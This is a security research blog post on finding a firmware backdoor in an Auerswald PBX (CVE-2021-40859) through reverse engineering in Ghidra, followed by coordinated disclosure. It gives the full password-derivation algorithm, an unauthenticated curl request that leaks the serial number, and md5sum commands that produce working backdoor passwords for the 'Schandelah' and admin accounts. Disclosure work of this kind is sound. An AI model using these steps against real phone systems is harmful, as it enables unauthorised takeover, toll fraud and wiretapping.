20 December 2021
Inside a PBX - Discovering a Firmware Backdoor
This blog post illustrates how RedTeam Pentesting discovered a real-world backdoor in a widely used Auerswald phone system (see also the advisory and CVE-2021-40859). We will describe the methodology used to find the backdoor by examining the firmware, highlight the practical implications of the vulnerability and outline our communications with Auerswald.
We examined IP telephones and a PBX of Auerswald during one of our engagements. A PBX routes incoming and outgoing calls to their corresponding destinations, not unlike an IP router. Companies often use a single telephone number with different additional extension numbers assigned to specific telephones.
During the analysis of the devices we found a reference to a service Auerswald provides in case a customer looses the credentials to their admin account. By filling out a document and contacting the manufacturer, the PBX’ admin password can be reset. We wondered how that process might work and decided to take a closer look.
Obtaining and Unpacking the Firmware Image
We started this endeavour by downloading the firmware image for the COMpact 5500,
version 7.8A, from the Auerswald support
website.
Images like this one contain the software for the PBX and are available in order
to allow customers to update the device to the newest version. Since there is no
single standard way of distributing firmware images we first had to figure out
the format of this particular file. An easy way to get some information is the
Linux command-line utility file
:
$ file 7_8A_002_COMpact5500.rom
7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23 15:04:43 2020, from Unix, original size modulo 2^32 196976698
The output shows us that the data is compressed using gzip
. To get the
uncompressed content, the file can be renamed to have the file extension .gz
and then extracted using the program gunzip
:
$ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz
$ gunzip 7_8A_002_COMpact5500.gz
This produces the file 7_8A_002_COMpact5500
which can be analysed again using
the file
utility:
$ file 7_8A_002_COMpact5500
7_8A_002_COMpact5500: u-boot legacy uImage, CP5500 125850, Linux/ARM, Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38 2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0xCECA93E8, Data CRC: 0x99E65DF1
The extracted file is a “Das U-Boot” (u-boot) multi-image.
U-boot is a commonly used bootloader that
comes with a number of command-line utilities which can be used to create or
modify such image files. Some basic information can be extracted from the image
with the u-boot utility dumpimage
:
$ dumpimage -l 7_8A_002_COMpact5500
Image Name: CP5500 125850
Created: Wed Sep 23 17:04:38 2020
Image Type: ARM Linux Multi-File Image (uncompressed)
Data Size: 196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point: 00000000
Contents:
Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB
The output shows that the multi-image file contains two images. The first image is only 512 Bytes in size and can be ignored. The second image appears to be more interesting and can be extracted using the same tool:
$ dumpimage -p 1 -o rootfs 7_8A_002_COMpact5500
$ file rootfs
rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-f302d7f20ef1, volume name "7.8A_002_125850."
The output of file
on the extracted file shows that it contains a Linux ext2
file system, which can be mounted like a regular hard-drive image:
$ sudo mount -o loop,ro rootfs /mnt
Now the contents of the file system can be browsed at /mnt
.
Finding the Web Server
Since the document for the password reset functionality states that access to
the web interface is needed, we first searched for files giving indications on
how the web interface is implemented. The folder at /opt/auerswald
contains
Auerswald specific scripts and configuration files. It includes the folder
lighttpd
, containing configuration files for the
lighttpd web server, including the file
fastcgi.conf
:
$HTTP["referer"] !~ "(.*/ipeditor/.*|.*/styles/main.css)" {
$HTTP["url"] !~ "^(/statics/css/.*|/statics/errors/.*|[...]" {
fastcgi.server = ( "/" => ((
"socket" => env.fastcgi_socket,
"check-local" => "disable",
"x-sendfile" => "enable",
"fix-root-scriptname" => "enable"
))
)
}
}
[...]
Apart from some static files, HTTP requests appear to be forwarded to a
FastCGI socket. The socket name is passed
via an environment variable during the startup of lighttpd
:
$ cd /mnt/opt/auerswald
$ grep -r fastcgi_socket
scripts/run-lighty:export fastcgi_socket=/tmp/webs_fcgi.socket
lighttpd/fastcgi.conf: "socket" => env.fastcgi_socket,
lighttpd/fastcgi.conf: "socket" => env.fastcgi_socket,
Searching for this socket name reveals a match inside the binary file available
at /opt/auerswald/web/webserver
:
$ grep -ir webs_fcgi
scripts/run-lighty:export fastcgi_socket=/tmp/webs_fcgi.socket
grep: web/webserver: binary file matches
So it seems like most of the web interface is handled by a custom binary
application. Subsequently, in order to figure out how the password reset works,
we analysed the binary webserver
in Ghidra…
Reverse Engineering with Ghidra
Ghidra is an open-source reverse engineering tool
developed by the US National Security Agency (NSA). Most notably, Ghidra
contains a disassembler and decompiler, which attempt to translate machine
instructions back to a human-readable format. Whereas the disassembler
translates the machine code to assembly language, which is very close to the
actual machine code, the decompiler tries to translate the code to a
higher-level programming language. The decompiler of Ghidra produces code in a
language very similar to C. After creating a new project in Ghidra and importing
the webserver
binary, the file can be opened in the “CodeBrowser”. When first
opening the file, Ghidra asks if the file should be analysed, starting the
decompilation process. The interface of Ghidra is split into different panes.
The central pane shows the disassembled code and the right side shows the
decompiled code of the currently selected function.
A good starting point is to search for known strings within the binary. This can be done by opening the “Defined Strings” window and using the search bar at the bottom of the newly opened window.
The Auerswald documentation mentions the default user “sub-admin”, so we first searched for that:
The search yields a match which is shown in the disassembly pane when selected. Besides decompiling the binary during analysis, Ghidra also searches for cross references (XREFs). Therefore, the disassembly pane shows addresses next to the string which point to the location where the string is used. By double clicking on the first XREF, the disassembly view jumps to the referenced address. The decompiler pane now shows C-like code for the function. The highlighted line shows how the “sub-admin” string is used:
The strcmp
function is called to compare the variable local_5e8
with the
string “sub-admin”. Note that the shown variable and function names are not the
names which were used in the original code. Presumably, the variable local_5e8
is the username entered by the user, since it is compared to a known valid
username. To be able to identify this variable as the username in other places
of the code, it is helpful to rename it to something more descriptive. This can
be done by right-clicking the variable and selecting “Rename Variable”.
In this case the new variable name username
was chosen.
Now, a bit further up within the code we can see that the username is compared to another string:
iVar5 = strcmp((char *)username,"Schandelah");
“Schandelah”?
“Schandelah” appears to be a special username. It turns out that Schandelah is the name of a tiny village in northern Germany where Auerswald produces their devices (see its German Wikipedia entry). This already seems very suspicious, since no documentation of this username could be found in the manuals. Let’s see what happens after the username comparison…
|
|
So if the username is Schandelah
, the function FUN_00287a84
is called with a
reference to the variable local_94
(line 3). This pass-by-reference indicates
that FUN_00287a84
modifies local_94
in some way. Afterwards, if the variable
local_600
is not zero, it is compared to the contents of local_94
using
strcmp
(line 8). After examining other places where local_600
is used it
becomes apparent that this is the password the user entered. Therefore,
local_94
must be the password for the user Schandelah
! To get the contents
of the password, we have to understand FUN_00287a84
. Double clicking on
FUN_00287a84
yields the function definition:
void FUN_00287a84(undefined4 param_1)
{
FUN_002878e8(param_1,0,0);
return;
}
It seems like that this is just a wrapper function calling another function with pre-defined arguments. The inner function is:
|
|
This function first retrieves values using the functions FUN_00289af4
and
FUN_0027b640
. Then, on line 21, snprintf
is used to concatenate four string
values. To find out the complete string, we must figure out the value of each
argument. It starts with param_1
, which is retrieved with a function call to
FUN_00289af4
in line 9. Again, a double click makes Ghidra jump to the
function:
|
|
Luckily, the original name for the function is contained as a string within the
function. The name is auer_getPbxSerialNumber
, indicating that the function
retrieves the PBX’ serial number. The function called in lines 12 and 13 probably
emits a corresponding log message. Since it might be used elsewhere, we renamed
it to auer_debuglog
. We also renamed the current function FUN_00289af4
to
auer_getPbxSerialNumber
. We can then jump back to the previously visited
function using the keyboard shortcut “Alt + Left Arrow”.
In a similar fashion, we eventually figured out all other arguments given to the
snprintf
function call. After assigning each variable and function an appropriate
name the value of the concatenated string becomes apparent:
|
|
First, the serial number of the PBX is retrieved (line 9). Afterwards, if the
second parameter of the function does not equal zero, a two letter country code
is retrieved from a list (lines 11 to 19). However, the wrapper function ensures
that this parameter is always zero, so we can skip the country code. Lastly,
the current date is read as a string in the format “DD.MM.YYYY” (line 20), which
is a common date representation in Germany. Then, a string is formed from these
values with the additional hard-coded string r2d2
in between. The resulting
string is then given as an argument to the function FUN_002693f8
:
|
|
The function starts by initializing four local variables with static values (lines 4 to 7). A quick search on the Internet reveals that these magic numbers are used in the MD5 hashing algorithm (see RFC 1321, section 3.3):
3.3 Step 3. Initialize MD Buffer
A four-word buffer (A,B,C,D) is used to compute the message digest.
Here each of A, B, C, D is a 32-bit register. These registers are
initialized to the following values in hexadecimal, low-order bytes
first):
word A: 01 23 45 67
word B: 89 ab cd ef
word C: fe dc ba 98
word D: 76 54 32 10
Note that the RFC uses little-endian byte order while Ghidra displays these
values as big-endian integers. The functions FUN_00268aac
(line 10) and
FUN_00268ce4
(line 11) correspond to the MD5 update and finalize operations.
After finalizing the digest, parts of the results are used as indices into a
string consisting of all ASCII digits and letters from a
to f
(lines 13 to
19). This leads us to conclude that the function FUN_002693f8
calculates the
MD5 digest of the string at param_1
, as a lower case hexadecimal value. The
output is written to the address at param_2
.
After renaming the function accordingly, only one unknown function is left:
__snprintf_chk(&unhashedPassword,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",currentDate,&countrycode);
md5(&unhashedPassword,&hexHash);
FUN_002748e0(param_4,&hexHash,8);
The function takes three parameters: param_4
, whose value is unknown at this
point, the hexadecimal MD5 digest and the hard-coded value 8
. Again, the
function contains information about its name:
void FUN_002748e0(char *param_1,char *param_2,size_t param_3)
{
[...]
if ((int)param_3 < 1) {
__fprintf_chk(stderr,1,"%s: ungueltiger Aufruf mit size = %d durch %p!","auer_strncpy",param_3);
fflush(stderr);
}
else {
strncpy(param_1,param_2,param_3);
param_1[param_3 - 1] = '\0';
}
[...]
}
The function appears to be a wrapper around the strncpy
function, which copies
a string from one address to another address. Since the value 8
was given as
an argument, we naively assumed that the first eight characters of the MD5 hash are
retrieved.
Broken down, the backdoor password for the user Schandelah
appears to be
constructed with the following algorithm:
- Retrieve the serial number of the PBX
- Retrieve the current date as a string
- Calculate the MD5 hash of: serial number + “r2d2” + current date (as DD.MM.YYYY)
- Return the first 8 characters of the calculated hash
So the only secret information an attacker needs to know to generate the
password for the user Schandelah
is the serial number of the PBX. However, it
turns out that this information is not so secret after all, but can be retrieved
without authentication from the path /about_state
:
$ curl --include https://192.168.1.2/about_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{
"pbx": "COMpact 5500R",
"pbxType": 35,
"pbxId": 0,
"version": "Version 7.8A - Build 002 ",
"serial": "1234123412",
"date": "30.08.2021",
[...]
}
After we calculated the password and then tried to login with the user Schandelah
,
the authentication failed. At this point, there could be several possible
reasons for this and since we had no way to debug the PBX, we had to validate
each step of the password generation process by going through the decompiled
code again. In the end it turned out that we misunderstood the implementation
of the strncpy
wrapper: While strncpy
indeed copies eight characters, the
wrapper auer_strncpy
then ensures that the string is properly null-terminated:
strncpy(param_1,param_2,param_3);
param_1[param_3 - 1] = '\0';
Therefore, the backdoor password actually consists of only seven characters of the MD5 hash, for example:
$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}'
1432d89
Equipped with this password we then could authenticate successfully. After logging in, the web interface showed a special service page, which allowed among other functions to reset the administrator password.
More “Schandelah”?
While this backdoor password allowed us to reset the administrator password and
gain full privileges on the PBX, we wondered whether the same password generator
is used in other places. We used the cross reference search of Ghidra to find
other invocations of the password generation function. In the same function
where the user Schandelah
is checked, the following code can be found:
iVar5 = strcmp((char *)password,(char *)&local_d8);
if (iVar5 != 0) {
[...]
FUN_0019441c(param_1[2],"TkLand",&local_5c4);
generate_backdoor_password(0,1,local_5c4,&local_2d8);
iVar5 = strcmp((char *)password,(char *)&local_2d8);
goto joined_r0x00015678;
}
This branch of code is executed when the adminstrative username admin
is
passed. First, the real admin password stored in the variable local_d8
is
checked. If the password entered by the user does not match, it is compared
again to a “fallback” password generated using the backdoor routine. However,
this time, the country code configured for the PBX is read out and passed as an
argument. Consequently, the fallback password for the admin user is
generated with the two letter country code, for example:
$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}'
92fcdd9
The admin
fallback password provides full-privileged access to the PBX without
needing to change the password first.
So What?
While the backdoor passwords were discovered during a penetration test on a specific Auerswald PBX, many other PBX models from the manufacturer are affected as well. In some cases the web interface of those PBX devices are facing the Internet and thus could be compromised in a large-scale attack. It’s difficult to tell exactly how many devices are affected, but a quick search on Shodan shows that there are a few Auerswald lighttpd servers on the Internet. However, not all of the results are PBX devices, and this search does not take the firmware version into account.
Since most of these devices handle incoming and outgoing calls for companies, a compromise could possibly have severe consequences. For example, attackers could dial premium rate numbers to gain a financial benefit or wiretap sensitive phone calls in order to gain information to their advantage.
A few more vulnerabilities
As all of the tested Auerswald devices had web-based configuration interfaces, we also examined those for typical web vulnerabilities. A way could be found to read out credentials from a single IP telephone (CVE-2021-40856), which allowed to access the PBX with limited privileges. Those privileges could then be escalated to “sub-admin” (CVE-2021-40857), a user that is usually used to configure the PBX. So all in all, we found several ways how an attacker can gain highly privileged access to the telephone infrastructure.
Disclosure to Auerswald
The vulnerability is present in several firmware versions of the affected devices, so a thorough fix could only be provided by the manufacturer itself. With the approval of our customer, we disclosed details of the vulnerability to Auerswald. In order to facilitate a quick resolution, we set a fixed time frame of 90 days after which we also release the details of the vulnerability to the public. This gives the vendor enough time to produce an appropriate fix while also ensuring that other affected businesses are made aware of the issue and potential mitigations. We always make sure to communicate our disclosure process in a very clear way. Also, we try to coordinate the public disclosure in a sensible way with the release of the fix from the vendor. Customers should be given enough time to update their systems before details of the vulnerability are released.
Auerswald reacted in an exemplary manner, acknowledging the issue and releasing an updated firmware for the affected devices in a timely manner. We were updated on the progress and provided with fixed firmwares and access to devices to test them on in advance of the release, to make sure the vulnerabilities have been resolved correctly. You can find the timeline of the public disclosure process in our advisory.